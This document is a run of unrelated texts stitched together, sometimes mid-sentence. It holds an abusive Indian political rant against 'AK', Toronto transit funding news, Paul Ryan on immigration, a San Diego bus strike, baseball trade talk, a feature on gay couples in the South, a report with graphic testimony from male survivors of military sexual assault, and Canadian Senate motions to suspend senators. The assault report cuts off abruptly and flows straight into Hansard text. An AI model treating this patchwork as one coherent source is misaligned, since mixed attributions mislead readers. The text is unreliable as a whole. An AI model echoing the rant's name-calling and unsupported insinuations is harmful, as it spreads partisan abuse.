bestow enough attention on his nautanki. Understandable! So what exactly does AK want with instant arrest of Sonia? Kanchan Gupta explains it in simple terms: Instead of an arrest that will enable SoniaG to play Drama-Queen (Like IndiraG did after the Emergency) I would prefer that the Agusta case and other cases like NatHerald go through the process and allow Congress to stew in their own soup for a while. What’s the rush? And the public was quick to point out that this fake Monkey-balancer and U-turn specialist didn’t do anything about corruption by Sheila Dikshit. AK had grandly waved 300 pages of evidence against her. Maybe it all disappeared, just like many 1984 Sikh-killing files that disappeared under AK, making it more comfortable for the Congis. AK then claims the Gandhis perhaps possess a lot of secrets against Modi which is why he doesn’t arrest her: Some “sources” told him that crap it seems. Maybe the same sources that keep Barkha Dutt informed of many things. It is not just a dumb claim but also laughable idiocy by AK and just a bit more of the nonsense he spews owing to his extreme hatred of Modi. Of course, this BakwasJoker forgets that Sonia and Congress and their media footsoldiers tried to screw Modi with even fake allegations, stories and scams. They tried the Ishrat conspiracy and even some bogus land scams against Modi. Both backfired on the Congress. So according to this “degree-holder” AK, the Gandhis held back some secrets agaisnt Modi in a vault known to the source of AK so that they can be revealed by him after the Agusta scam revived itself. I must say this AK does seem “educated” to me – as much as Pappu is. Problem is, even Monkey-Balancing has its own hazards. Sometimes the monkey doesn’t know what to do after it reaches some way (Video: 43 seconds): The idea is simple, throw mud at Modi and take the heat off SoniaG and Congress. Just like Rajdeep Sardesai, media’s Chief Monkey-Balancer, always equates some vague incident of BJP whenever he has to talk about major crimes by Congress, AK tries to throw mud at others to save Sonia. It also burns the bottom of AK that for his all rants over last 3 years, Modi has not once responded to his nonsense. I believe when he does, AK will be as hard-hit like the force of a sledge-hammer that Congress often feels during election campaigns by Modi.The federal government has formally announced that it is reallocating $330 million in funding from the Sheppard East LRT to a light rail line in North Etobicoke, casting further doubt about whether the Sheppard project will ever be built. At a news conference at Humber College’s North Etobicoke campus Friday, Finance Minister Bill Morneau confirmed that Ottawa was pulling the Sheppard money and putting it toward the construction of the $1.2-billion Finch West LRT instead. Finch West LRT will deliver 11 kilometres of new, dedicated rapid transit in Toronto. ( Infrastructure Ontario ) The 11-kilometre, 18-stop linewould run from the soon-to-be-opened Toronto-York Spadina Subway Extension to the college. “The Greater Toronto and Hamilton Area, and specifically the communities of Jamestown and the Jane-Finch neighbourhood, will see the direct impacts of improved service reliability, better access to public transit, reduced travel times, and, importantly, less congestion,” Morneau said. But, prior to the announcement, the Finch LRT was already fully funded by the province. As the Star first reported last year, in March 2016, the provincial Liberals asked their federal counterparts to shift the money from the Sheppard line to Finch. Article Continued Below The province explained its request by saying the federal funding, which is coming from the Building Canada Fund, was set to expire unless it was used soon, and Finch is scheduled to be built before Sheppard. However, there is little political support for the Sheppard LRT among local politicians at both the city and provincial level, with some advocating it should be replaced with an extension of the TTC’s existing Line 4 (Sheppard) subway. That’s despite a city report that found ridership for a Sheppard extension would be just 7,800 people per hour at its busiest period, well below the volume that normally justifies a subway. The lack of backing for the LRT, as well as the federal government taking the rare decision to remove funding from a major infrastructure project, has led to speculation that the Sheppard project is effectively dead. Ontario Transportation Minister Steven Del Duca insisted Friday that wasn’t the case however, and stated the reallocation was merely a case of “better to move it than to potentially lose it. “At a certain point, that money, if it wasn’t used for the project that it had been identified for, would no longer necessarily be made available,” he said. “So we wanted to make sure that we took advantage of a very generous and very important contribution to help actually deliver on these.” Article Continued Below Del Duca said that the Sheppard, Finch and Eglinton Crosstown LRTs “are all fully funded” under the province’s $8.4-billion investment in Toronto transit. But speaking to reporters at city hall Friday morning, Mayor John Tory made it clear that he still considers the question of whether to build an LRT or subway on Sheppard to be an open one. Asked whether he was concerned about Ottawa reallocating the funding to Finch, he replied: “First we have to decide what we’re going to do on Sheppard, and, as you know, that’s a subject that gets divided opinions going in the city and in that part of town, so we have some discussions to have on that as a city, let alone with the other governments as to what our priorities are.” The $1.1-billion Sheppard LRT was scheduled to be complete by 2013, followed by Finch in 2015. The opening dates have been pushed back several times. In 2012, the Sheppard line became the subject of an intense fight at city hall, when former mayor Rob Ford attempted to replace it with a subway extension, only to be rebuffed by city council. In 2015, the province announced that Finch would be built first, and construction for Sheppard wouldn’t begin until after Finch was completed. The Finch LRT is scheduled to enter service by 2021.House Speaker Paul Ryan is ruling out comprehensive immigration reform while President Barack Obama is in office, pushing the issue until 2017. The newly elected leader of the Republican-controlled House said in several interviews Sunday that he will not work with Obama saying he went around Congress with an executive order announced last November but put on hold by the courts, that would shield millions of people from deportation. Ryan said Obama "can't be trusted" on the issue. The immigration issue has driven a wedge between Hispanics, an increasingly important voting bloc, and Republicans, many of whom take a hard line on illegal immigration, to the benefit of Obama's fellow Democrats. Most of the migrants in the United States without legal residency are Hispanic. Ryan, a Wisconsin Republican who replaced the retired John Boehner as speaker, said he would not try to advance comprehensive immigration legislation while Obama, whose term ends in January 2017, is president. "I think it would be a ridiculous notion to try and work on an issue like this with a president we simply cannot trust on this issue," Ryan said in an interview aired on the CBS program "Face the Nation." "He tried to go it alone, circumventing the legislative process with his executive orders, so that is not in the cards. I think if we reach consensus on how best to achieve border and interior enforcement security, I think that's fine," Ryan added. Ryan acknowledged that he promised the House Freedom Caucus, which includes the most conservative members of the House, not to bring up immigration reform legislation, and blamed Obama. "This president tried to write the law himself," Ryan told the CNN program "State of the Union", accusing Obama of exceeding his constitutional powers. "Presidents don't write laws. Congress writes laws." In the race for the 2016 Republican presidential nomination, candidate Donald Trump and others have talked tough about illegal immigration. Trump has promised to build a wall on the U.S.-Mexico border and to deport all illegal immigrants already in the United States. The Senate in 2013 voted to pass bipartisan legislation for the biggest overhaul of U.S. immigration laws in decades in a generation, but the measure failed to win House approval thanks to opposition by conservative Republicans. In an interview aired on "State of the Union," Boehner said he regrets immigration reform legislation was not passed while he was speaker. "Reforming our immigration system, securing our borders would be good for America," said Boehner. "But unfortunately the president just kept poisoning the well — poisoning the well — to the point where it was impossible to put it on the floor of the House." Wire servicesSAN DIEGO (CBS 8) - A union representing some Metropolitan Transit System bus drivers voted on Tuesday night to strike, leaving many MTS Access and mini-bus routes without drivers starting Wednesday. First Transit had been negotiating with drivers for a few weeks but the two sides were not able to come to an agreement by Tuesday night. A company called First Transit contracts with MTS to supply drivers for paratransit vehicles and 18 of the agency's bus routes. RELATED LINK: Service Disruption - MTS Access and some Fixed Routes Stoppage will begin Wednesday for the MTS Access service and bus routes 14, 18, 25, 83, 84, 88, 833, 851, 870, 944, 945, 946, 964, 965, 972, 973, 978 and 979, according to First Transit. According to the company, its MTS Access drivers provide 1,900 daily curb-to-curb trips that get people to hospitals, doctor appointments and regional care centers. The bus routes are generally served by mini-buses and carry around 4,300 passengers a day. Major bus routes and the trolley would not be affected by a work stoppage. First Transit had advised passengers to make alternative transportation arrangements in case of a strike.Getty Images Like the Mariners, the Diamondbacks have two MLB-ready shortstops: Chris Owings and Didi Gregorius.PORT ST. LUCIE, Fla. -- While the trade attention has been on a potential match for the Mets in Seattle middle infielder Nick Franklin, the Arizona Diamondbacks also have an extra shortstop. Will Arizona trade either Chris Owings or Didi Gregorius during spring training? "It's been pretty quiet of late," Diamondbacks GM Kevin Towers told Nick Piecoro in the Arizona Republic. "With Stephen Drew still out there right now, I haven't had much trade discussions." The industry scuttlebutt is that Towers would drive a hard bargain with the Mets because of a less-than-harmonious experience working for Sandy Alderson with the San Diego Padres. "For us, it would have to be the right deal," Towers told Piecoro about the possibility of trading a shortstop. "Our biggest needs in our system are catching -- if it's the right, top-notch catching prospect, someone we could have right behind Miggy [Miguel Montero]. More of an upper-level guy. Maybe a top, upper-end starter. We have a lot of bullpen depth, infielders. Maybe an outfielder, but probably more catching and Double-A, Triple-A type starter." Owings, 22, hit.291 with five RBIs in 55 at-bats last season after making his major league debut Sept. 3. Gregorius, 24, hit.252 with seven homers and 28 RBIs in 357 at-bats in 2013. He was acquired by the D-backs from the Cincinnati Reds on Dec. 11, 2012 in a three-team deal that included the Cleveland Indians sending Shin-Soo Choo to Cincy.We’ve come a long way, baby. As the Supreme Court weighs two high-profile cases that could potentially legalize same-sex marriage across the country, committed gay couples in the Deep South say they’ve witnessed a remarkable evolution in acceptance in the region, even if discrimination still remains beneath the surface—and on the books. Chris McCary and John Sullivan live in Anniston, Ala., a small city even by Alabama standards. In 2004, they became the first out-of-state couple to get hitched in Massachusetts, gaining them national media coverage and, along with it, a measure of local notoriety. They had no idea what to expect when they got back—this is a state that two years later passed a constitutional amendment defining marriage as a union between a man and a woman. Some of McCary’s colleagues didn’t even know he was gay. “A friend called me while we were in Massachusetts,” he remembers now, “and asked me, ‘What the heck are you doing? You’re all over the TV. Have you forgotten you’re from Alabama?’” But the reception was more benign than they had feared. “A conservative judge—an older, Republican, conservative judge—shook my hand and said congratulations, said he was proud to know me,” says McCary. “Some of my clients brought their teenage children to my office because they wanted to meet me.” Their community, says Sullivan, now treats them as they would any other couple. “Our neighbors were proud of us, and proud to be able to celebrate with us that part of our lives,” he says. Of course, in the South, face-to-face interactions are almost always pleasant, even if people gossip behind your back. The bigotry that McCary and Sullivan faced was often faceless. Listening to the radio one day, Sullivan found himself being discussed on a local talk show. “People were saying nasty things, like ‘those stupid fags shouldn’t get married,’ and all that stuff,” he says. So he called in. He told the DJs that his marriage would in no way affect theirs, that he wanted nothing to do with their marriages. “It’s easy to be a bigot to someone you don’t know or don’t have to face,” he says. “When you have to deal as one human being to another, things change.” A ruling that strikes down the Defense of Marriage Act would lead to Sullivan and McCary’s marriage being recognized at the federal level, even if it continues to be invalid in their state. “It would save us thousands of dollars in taxes,” Sullivan says. But they didn’t get married for tangible benefits. “We weren’t trying to make a political statement,” Sullivan continues. “We did it just for ourselves. We wanted that acknowledgment that we are a couple, that we are committed, that this is for life.” McCary, a divorce lawyer, had learned something about what makes relationships work and what breaks them. “Having the support and respect of other people makes your relationship stronger. Being married changes how people relate to you, how they treat you as a couple.” Respect is a cornerstone value in the South, says David Hollis of Hattiesburg, Miss. “It’s in our upbringing—we’re taught to be respectful to our neighbors and be nice to everyone.” David and his partner, Charles Griffith, have been together 16 years. They met when they were living in Shreveport, La., in the mid-1990s, and by 1997 they were living together. Charles, a doctor, did his residency in Florida, and they moved there as a couple in 1999. They settled in Mississippi in 2002, and have been out of the closet from the beginning. “We live as a gay couple,” says Hollis. “Everyone knows us socially as Charles and David. We’ve never used the word ‘roommate’ or ‘friend.’” He points out that “things have changed dramatically” since they started dating. “It doesn’t seem like public opinion against it is as strong, or maybe it’s just that the voices of people who are OK with gay people being in relationships have gotten louder.” This acceptance and the changes he has seen in society have emboldened Hollis at a personal level. “I no longer put up with discrimination,” he says. But that doesn’t mean there is no bigotry left in the South. “Just yesterday at the gym,” he says, “I heard a man make a derogatory comment about a woman on TV because she happens to be a lesbian.” Still, his and Griffith’s day-to-day lives are not greatly affected by this—they feel very much a part of their community. They are both Christian, raised Methodist, and they have never felt unwelcome at their church. They are treated the same as other couples in the congregation, and Hollis is on the board of the Children Outreach Ministry, working with kids living in public housing. Back in Alabama, a third couple feels a little less comfortable being open. A man named Tim, who asked me not to use his last name, and his partner, whom I’ll call Mike, live in Montgomery, the capital of the civil-rights movement. They will celebrate their 20th anniversary this Saturday, and yet Tim has never met Mike’s parents because they refuse to acknowledge the fact that their son is gay. Mike is also a high-school teacher and is so concerned about being outed at work that he asked me not to use his real name. When they first started dating, Tim was as much in the closet as Mike. “The degree to which we’re out has changed,” he says, pointing out he is now “completely out” himself. He made the decision a few years ago to have a talk with his parents, and ask them to welcome Mike as part of the family. They are religious and conservative, but they yielded to their son’s wishes. Mike now spends holidays with Tim’s family, and he is welcome at all functions. For Mother’s Day and Father’s Day, though, he still drives out to visit his own parents—they just don’t talk about his personal life. “I think they know I live with a man,” says Mike, “but we never talk about it.” At work, Mike has noticed great changes during his almost 30-year tenure as a teacher, particularly in the last decade. He says there are now openly gay students. “I’ve seen girls kiss each other in the hallway, and last year on the National Day of Silence, there were kids at school wearing tape over their mouths.” This makes him and Tim hopeful for the future. Their optimism is shared by the other couples I interviewed, especially because opposition to gay rights generally splits among generational lines. “Persistent bigotry is quite literally dying out,” Sullivan says. When it comes to marriage, what matters most to these men is the need to feel, as Hollis put it, “like full-fledged citizens of this country.” He and his partner have spent thousands of dollars on legal documents in order to make sure they have access to at least some of the protections straight couples are granted by signing a marriage license. McCary and Sullivan have done the same, in spite of their legal marriage in Massachusetts, but worry that not even those documents are enough. “We want to share a long life, and grow old together,” says McCary, “and even with all these documents, there’s still going to be a lot of steps, a lot of paperwork we’ll have to do if, God forbid, one of us passes. We’re young enough that we’d be able to take care of things now, but what about when we’re old and feeble? One of the promises of marriage is that you’ll look after each other in your old age, and it is so sad, so stressful to think that one of us might end up having to do all of this alone. If our marriage were recognized, everything would be more simple.”Sexual assault is alarmingly common in the U.S. military, and more than half of the victims are men. According to the Pentagon, thirty-eight military men are sexually assaulted every single day. These are the stories you never hear—because the culprits almost always go free, the survivors rarely speak, and no one in the military or Congress has done enough to stop it A warship is like a city—sprawling, vital, crowded with purposeful men and women. But on a warship, as in a city, there are people who will see you not as their friend or their neighbor but rather as their prey. After turning 25, Steve Stovey joined the Navy to see the world: Malaysia, Australia, Japan, Fiji, the Persian Gulf. His first year and a half as a signalman on the USS Gary was “the greatest time of my life,” he says. In late September 1999, Stovey was sailing to Hawaii, where he'd be joined by his father on a Tiger Cruise, a beloved Navy tradition in which family members accompany sailors on the final leg of a deployment. Parents and kids get to see how sailors live and work; they watch the crew test air and sea weapons. The Disney Channel even made a movie about a Tiger Cruise, with Bill Pullman and Hayden Panettiere. The West Coast itinerary is usually Pearl Harbor to San Diego. On the morning of September 20, two weeks before the warship was due in port, three men ambushed Stovey in a remote storage area of the ship, where he'd been sent to get supplies. They threw a black hood over his head, strangled and sodomized him, then left him for dead on a stack of boxes. Stovey told no one. He was certain that his attackers, whose faces he hadn't glimpsed, would kill him if he did. He hid in a bathroom until he could contain his panic and tolerate the pain. Then he quietly returned to his post. I don't know if I lost consciousness, but the next thing I remember is my wrists were taped to the bedframe and they were holding a knife to my throat. —Mike Thompson Stovey says he might have killed himself were it not for his father's imminent arrival. The timing of the visit was “almost a miracle,” he says. “When I saw him, it was the most safe feeling I'd ever felt in my whole life.” Father and son spent the next five days on board ship, almost certainly being watched by the three attackers. “I just kept it inside,” Stovey says in a low voice. “I couldn't tell him.” I. “you will not make a noise.” The moment a man enlists in the United States armed forces, his chances of being sexually assaulted increase by a factor of ten. Women, of course, are much more likely to be victims of military sexual trauma (MST), but far fewer of them enlist. In fact, more military men are assaulted than women—nearly 14,000 in 2012 alone. Prior to the repeal of “Don't ask, don't tell” in 2011, male-on-male-rape victims could actually be discharged for having engaged in homosexual conduct. That's no longer the case—but the numbers show that men are still afraid to report being sexually assaulted. Military culture is built upon a tenuous balance of aggression and obedience. The potential for sexual violence exists whenever there is too much of either. New recruits, stripped of their free will, cannot question authority. A certain kind of officer demands sex from underlings in the same way he demands they pick up his laundry. A certain kind of recruit rapes his peer in a sick mimicry of the power structure: I own you totally. “One of the myths is that the perpetrators identify as gay, which is by and large not the case,” says James Asbrand, a psychologist with the Salt Lake City VA's PTSD clinical team. “It's not about the sex. It's about power and control.” To understand this problem and why it persists twenty-two years after the Tailhook scandal, GQ interviewed military officials, mental-health professionals, and policymakers, as well as twenty-three men who are survivors not only of MST but also of a bureaucracy that has failed to protect them. Terry Neal Navy, 1975–77 The part that I remember before I passed out was somebody saying they were going to teach me a lesson. Richard Welch Air Force and Army, 1973–82 I was coming in and out of consciousness. He kept saying, “You're going to like this.” Matthew Owen* Army, 1976–80 I heard one of them say, “Get that broom over there by the lockers.” Gary Jones* Army, 1984–86 At first I thought he was playing around. He managed to wrestle me onto my back, and I started freaking out. He pinned my arm above my head and my knee in the crook of his arm and covered my mouth with his right hand and looked at me and said, “You will not make a noise.” Sam Madrid* Marines, 1962–68 When a gunnery sergeant tells you to take off your clothes, you better take off your clothes. You don't ask questions. Dana Chipman Judge advocate general Army, 2009–13 The way we socialize people probably has some effect on the incidents. We cut your hair, and we give you the same clothes, and we tell you that you have no more privacy, you have no more individual rights—we're gonna take you down to your bare essence and then rebuild you in our image. Jones I still don't believe I didn't bring this on. I keep telling myself, If only I hadn't had a few beers that night. If only I hadn't invited him back to my room. I tried to resist. He was just so fucking strong. Welch There's nothing I could have done, except never have joined the military. Charles Bigo Army, 1966–69 I've told my psychologist, “Maybe it's my fault, because I'm gay.” I was looking for friendship, companionship, some kind of emotional connection with somebody. They were predators. They knew what they saw in me that allowed them to be that way. Michael F. Matthews Air Force, 1973–85 Afterward they started kicking the shit out of me and said, “If you ever tell anybody, we'll come back and get you.” But it was like the angels were singing, because I realized I wasn't going to die. Later I wished I had. Kole Welsh Army, 2002–07 I had actually let the assault go, because I didn't want it to interfere with my career. I wanted to be an officer, and I just said, “Bad experience, won't let that happen again.” But there was some residual damage. A month and a half later, I was brought into a room with about nine officers and told, “You've tested positive [for HIV].” I was removed from the military and signed out within a day. It was a complete shock. James Asbrand Psychologist, Salt Lake City VA There's the fear that “if other people know this about me, well, then, my life is over. No one's gonna want to be around me. They'll know that I'm less of a man.” Neal One of the doctors said to me afterward, “Son, men don't get raped.” Jim McDonald* Army, 1982–2004 I'm gonna have to cut this short. I'm not gonna be able to do this interview. This is really causing some flashbacks and triggers. I'm already having a panic attack. You're asking some serious questions, and I'd rather just cancel it here. II. “Hell no, I didn't report this. Who was I going to report it to?” An overpowering shame prevents many enlisted men from reporting an assault—a sense that they must somehow be complicit in what has happened to them. Straight men often question their own sexual orientation, while gay men may struggle to find intimacy in relationships because they don't trust other men (or their own judgment). Telling the secret ruptures families and friendships. So does not telling. The rape of a male soldier has a particular symbolism. “In a hypermasculine culture, what's the worst thing you can do to another man? Force him into what the culture perceives as a feminine role,” says Asbrand of the Salt Lake City VA. “Completely dominate and rape him.” But shame isn't the only reason these men so often say nothing. Another is fear—of physical retaliation, professional ruin, social stigma. Research suggests that the military brass may have conspired to illegally discharge MST victims by falsely diagnosing them with personality disorders. “The military has a systemic personality disorder discharge problem,” write the authors of a 2012 Yale Law School white paper. Between 2001 and 2010, some 31,000 servicepersons were involuntarily discharged for personality disorders. It is likely that in many cases these were sham diagnoses meant to rid the ranks of MST victims. “If they want you to be schizophrenic,” says Trent Smith, an MST survivor currently fighting his discharge from the Air Force, “you're schizophrenic.” These diagnoses also spare the government the costs of aftercare: The VA considers a personality disorder to be a pre-existing condition, so it won't cover the expense of treatment for PTSD caused by a sexual assault. Above all, MST victims keep quiet because they do not believe their attackers will be punished. And they're almost certainly right. The conviction rate in MST cases that go to trial is just 7 percent. An estimated 81 percent of male MST victims never report being attacked. Perhaps it should astonish us that any of them do. Madrid I guess I feel okay telling you because you don't know who in the hell I am, and I don't know who you are, and you can't see me. Mike Thomson Marines, 1997–99 I wasn't “afraid” to report it—I was ashamed and disgusted. Guys aren't supposed to be raped. I didn't want to tell anybody about it. I didn't want to say anything. Bigo I didn't talk about this for nearly fifty years. Trent Smith Air Force, enlisted 2011 He was a senior aide—he had a direct line to the top. Being invited over to his house, I just took it as I should go. Looking back, I ask myself, Why didn't you do anything? It wasn't like he held me down or tied me up. I didn't want to cross him. I really didn't feel like I had any choice. I had just turned 19. It could be my career. I froze and went along with it. Welch Hell no, I didn't report this. Who was I going to report it to? He had serious rank over me. After they ordered me to return to work with him, I stabbed myself in the neck so I could go home. Brian Lewis Navy, 1997–2001 No commanding officer wants to have to pick up the phone to his or her boss and say, “I've had a sexual assault aboard my command.” Thomson That's basically admitting that you can't control your men. Chipman [Let's say] I'm a company commander and I've got this sergeant first class who's done a great job of getting my company ready for combat. Then this private I don't know from Adam comes in and says, “Sergeant X assaulted me last night.” I don't believe that private. I don't want to believe that private. I can't imagine that Sergeant X would do such a thing. Is there a natural bias that would say, “Can I make this go away?” That's probably a very typical reaction. Neal I was starting to hallucinate that people were coming to get me. I barricaded myself in my room in the barracks because I heard a key in the lock and thought they were coming in. It was my roommate, but I was screaming, “Don't hurt me!” They took me to the hospital, and that's where I finally told the psychiatrist what had happened. It was a huge mistake. I was put into a mental ward out of One Flew over the Cuckoo's Nest. The doctor would say, “You enjoyed it, didn't you? Come on, tell me the truth.” Jeremy Robinson* Army, 1970–72 I have very little memory of my time in the psychiatric ward, because I was so heavily drugged. I stopped eating. I became suicidal, and I made three attempts. They gave me shock treatments against my will. The diagnosis was paranoid schizophrenia. I bore that label for forty years before the VA finally admitted they had misdiagnosed me. Neil Alexander* Navy, 2002–04 There were about seven assaults. I got to the point where I just didn't want to live anymore. Not that I had a plan; I just got reckless, and my command took it as a signal I was suicidal. They said I had “Personality Disorder—Not Otherwise Specified.” They said I was being discharged for that. Chipman The discharge for personality disorder—that's a problem. If you've talked to twenty different victims and twelve of them say, “I was discharged for a personality disorder and I was railroaded,” I would not deny that in many cases a personality discharge would have been issued. It's not right. *Name changed. III. The Case Of Heath Phillips Navy, 1988–89 The two main guys—their nickname was the Twin Towers. They held themselves like they were God and untouchable. They were both six feet five or above, 250 pounds. I weighed maybe 120 pounds soaking wet. As soon as the Twin Towers came near you, you instantly wanted to pee yourself. The main attacks were at night. When you're being dragged out of your bunk literally by your ear, you can't fight, because they're doing these funky things with your fingers, twisting them, and they're ripping your mouth open, and then they got another guy that has his fingers in your nose or in your eyes to make you open your mouth. That's what always used to bother me: I'm screaming, yelling, fighting, and nobody is even moving their curtains to look. I went AWOL; I couldn't take it no more. I tried hanging myself. I was living in the streets, and I got arrested shoplifting, and they sent me to the brig. Then I got sent back to the same berthing area, where they started terrorizing me again. The final straw was, I was taking a shower and these guys beat me up and raped me with a toilet brush. Medical told me I probably had a hemorrhoid. I went AWOL again, then turned myself in a couple of days later. Finally my executive officer came back [proposing] I take an other-than-honorable discharge. To this day I don't know why they did it, because they had beautiful girlfriends. I just happened to be one of their victims. IV. “I'm terrified of men. I'm gay and I'm terrified of men.” Men develop PTSD from sexual assault at nearly twice the rate they do from combat. Yet as multiple research papers have noted, the condition in men is egregiously understudied. This is because so few men tell anyone. Those who do often wait years; many male participants in therapy groups are veterans of Korea and Vietnam. At Bay Pines' C. W. Bill Young VA Medical Center in Florida, the country's first residential facility for men suffering from MST, the average patient is over 50 years old at admission. Military sexual trauma causes a particularly toxic form of PTSD. The betrayal by a comrade-in-arms, a brother in whom you place unconditional trust, can be unbearable. Warrior culture values stoicism, which encourages a victim to keep his troubles to himself and stigmatizes him if he doesn't. An implacable chain of command sometimes compels a victim to work or sleep alongside an attacker, which can make him feel captive to his suffering and deserving of it. Jones I'm terrified of men. I'm gay and I'm terrified of men. I can't even get an erection, especially since I got sober. I isolate. I don't go to movies, I can't handle concerts. I have horrid nightmares. Last Christmas, I went to dinner with some friends, and at one point I started panicking so bad I had to get out of the restaurant. I was shaking. I never even told anybody about this until last July. Do you know what it's like to live with this for thirty years? Neal My first sexual experience ever was being raped by these guys. It screwed me up: That's what sex is supposed to be—anonymous, painful. The nightmares never went away. I started getting really bad with alcohol and an addiction to anonymous sex. Having a relationship with somebody has been extremely difficult. Owen The hardest thing for me was the fear to be looked at as being gay. I went through a lot of women. I went through several marriages. I wasn't a loyal husband. In college a couple guys brought up to me that they had an opportunity to make some serious money. I became an escort, and I did it for a good eleven years. It erased my thoughts. Alexander I'm afraid to go outside. I hate dealing with people. I hate being in crowds. I go grocery
Senate confirm that the Standing Committee on Internal Economy, Budgets and Administration retains the authority, as it considers appropriate, to take any action pertaining to the management of Senator Brazeau's office and personnel for the duration of the suspension. [English] Hon. Claude Carignan (Leader of the Government): Honourable senators, I give notice that, at the next sitting of the Senate, I will move: That, notwithstanding any usual practice or provision of the Rules, in order to protect the dignity and reputation of the Senate and public trust and confidence in Parliament, the Senate order a suspension for the Honourable Senator Wallin for sufficient cause, considering her gross negligence in the management of her parliamentary resources, until such time as this order is rescinded pursuant to rule 5-5(i), and such suspension shall have the following conditions: a) Senator Wallin, while under suspension, shall not receive any remuneration or reimbursement of expenses from the Senate, including any sessional allowance or living allowance; b) Senator Wallin's right to the use of Senate resources, including funds, goods, services, premises, moving and transportation, travel and telecommunication expenses, shall be suspended for the duration of the suspension; and c) Senator Wallin shall not receive any other benefit from the Senate during the duration of the suspension; That, notwithstanding the provisions of this suspension motion, the Senate confirm that the Standing Committee on Internal Economy, Budgets and Administration retains the authority, as it considers appropriate, to take any action pertaining to the management of Senator Wallin's office and personnel for the duration of the suspension. [Translation] (1440) Hon. Claude Carignan (Leader of the Government): Honourable senators, I give notice that, at the next sitting of the Senate, I will move: That, notwithstanding any usual practice or provision of the Rules, in order to protect the dignity and reputation of the Senate and public trust and confidence in Parliament, the Senate order a suspension for the Honourable Senator Duffy for sufficient cause, considering his gross negligence in the management of his parliamentary resources, until such time as this order is rescinded pursuant to rule 5-5 (i), and such suspension shall have the following conditions: a) Senator Duffy, while under suspension, shall not receive any remuneration or reimbursement of expenses from the Senate, including any sessional allowance or living allowance; b) Senator Duffy's right to the use of Senate resources, including funds, goods, services, premises, moving and transportation, travel and telecommunication expenses, shall be suspended for the duration of the suspension; and c) Senator Duffy shall not receive any other benefit from the Senate during the duration of the suspension; That, notwithstanding the provisions of this suspension motion, the Senate confirm that the Standing Committee on Internal Economy, Budgets and Administration retains the authority, as it considers appropriate, to take any action pertaining to the management of Senator Duffy's office and personnel for the duration of the suspension. Hon. Grant Mitchell: Honourable senators, I give notice that, two days hence: I will call the attention of the Senate to ongoing cases of sexual harassment in the Royal Canadian Mounted Police. Hon. Grant Mitchell: Honourable senators, I give notice that, two days hence: I will call the attention of the Senate to the forestry industry's efforts to address public criticism about environmental practices and how it could be applied to the energy industry. Hon. Grant Mitchell: Honourable senators, I give notice that, two days hence: I will call the attention of the Senate to the importance of geothermal energy in Canada. Hon. Grant Mitchell: Honourable senators, I give notice that, two days hence: I will call the attention of the Senate to Canada's Pro-Cycling Festival, the Tour of Alberta. [English] The Hon. the Speaker: Honourable senators, a message has been received from the House of Commons, as follows: Thursday, October 17, 2013 RESOLVED,— That an humble Address be presented to Her Majesty the Queen in the following words: TO THE QUEEN'S MOST EXCELLENT MAJESTY: MOST GRACIOUS SOVEREIGN: We, Your Majesty's loyal and dutiful subjects, the Commons of Canada, in Parliament assembled, beg leave to offer our congratulations to Your Majesty on the birth of a Prince, a son to Their Royal Highnesses, the Duke and Duchess of Cambridge, and assuring Your Majesty that this happy event affords the greatest joy and satisfaction to Your faithful Members of the House of Commons of Canada. ORDERED,— That the said Address be engrossed; That a Message be sent to the Senate informing their Honours that this House has adopted the said Address and requesting their Honours to unite with this House in the said Address by filling up the blanks with the words "the Senate and"; and That a Message of congratulations be sent by the Speaker, on behalf of this House, to Their Royal Highnesses the Duke and Duchess of Cambridge upon the joyful occasion of the birth of a son to Their Royal Highnesses. ATTEST MARC BOSC For the Clerk of the House of Commons The Hon. the Speaker: Honourable senators, when shall this message be taken into consideration? (On motion of Senator Martin, message placed on the Orders of the Day for consideration at the next sitting of the Senate.) Hon. James S. Cowan (Leader of the Opposition): Honourable senators, my first question is for the new government leader in the chamber. It simply, as I indicated to him this morning, seeks some clarification as to his status. For the first time in more than half a century, the government leader in the Senate is not a member of the cabinet. In fact, for the first time in more than half a century, since the administration of Prime Minister Diefenbaker, there is no member of cabinet present in this chamber. I would like to understand, and I think we would all like to understand — and perhaps you could share with us, Senator Carignan — the rationale behind that decision, and in particular, how Question Period is going to be carried out here on an ongoing basis. For instance, during Question Period, when we ask you about the intentions or the actions of the government, will you be able to speak for the government, or will you simply be able to provide us with your opinion about what the government intends to do or what it has done? In other words, as government leader in the Senate but without a place in cabinet, can your statements and answers be treated as authoritative and binding on the government? Hon. Claude Carignan (Leader of the Government): Thank you, Senator Cowan, for the first question. I am honoured to be appointed to this position, and I thank the Prime Minister for placing his confidence in me. [Translation] As I explained before, according to the Senate Rules, the Leader of the Government in the Senate is the one who answers questions. As for the information to be provided, I was sworn in as a member of the Privy Council, which gives me access to the information I need to answer the various questions. I am also a member of some cabinet committees, including the Cabinet Committee on Operations, which allows me to provide the information necessary as part of my duties as Leader of the Government in the Senate. [English] Senator Cowan: To be clear, Senator Carignan, when you speak, you are speaking for the government, and the answers you give are binding on the government, even though you are not a member of that government. Is that correct? Senator Carignan: Yes. I represent the government, and my title is Leader of the Government in the Senate. Hon. Lillian Eva Dyck: First, I would like to congratulate Senator Carignan in his new position. Honourable senators, on Tuesday, the Special Rapporteur on the rights of indigenous peoples, James Anaya, called on the government to set up a national inquiry into the disturbing phenomenon of missing and murdered Aboriginal women. (1450) Mr. Anaya stated, and I quote: ... a comprehensive and nation-wide inquiry into the issue could help ensure a coordinated response and the opportunity for the loved ones of victims to be heard, and would demonstrate a responsiveness to the concerns raised by the families and communities affected by this epidemic. The UN rapporteur's comments echo numerous calls from Aboriginal leaders across the country, parliamentarians, human rights groups and, recently, all provincial premiers for the federal government to step up and establish a national inquiry into the issue of missing and murdered Aboriginal women. My question to you as Leader of the Government in the Senate is, why didn't the government take the opportunity in this new session to commit to establishing such a national inquiry in the Throne Speech? [Translation] Hon. Claude Carignan (Leader of the Government): The government's agenda and record on Aboriginal Affairs are quite positive. Our government has focused on the things that matter to Canadians, namely on jobs, economic growth, and long-term prosperity for all, including our First Nations. We have introduced many measures for our Aboriginal population, including, for example, those protecting family homes and property rights on reserves. We supported over 400 projects last year to improve the safety of drinking water as well as many other projects addressing youth skills, school infrastructure, improved services for families and fiscal transparency in communities. Over the last few months, Minister Valcourt has personally consulted with First Nations leaders, educators, technicians and young people in their communities and across the country, to open a true dialogue by talking to them about education. It was the minister who personally heard their complaints if they were not satisfied with the current conditions. Our government listens. Minister Valcourt listens, and he is in touch with the people. We believe that the minister is in a position to take any measures that are required to continue protecting Aboriginal rights. Hon. Grant Mitchell: Senator Carignan, I would like to congratulate you on your appointment as Leader of the Government in the Senate. [English] We look forward to months, years — hopefully not too 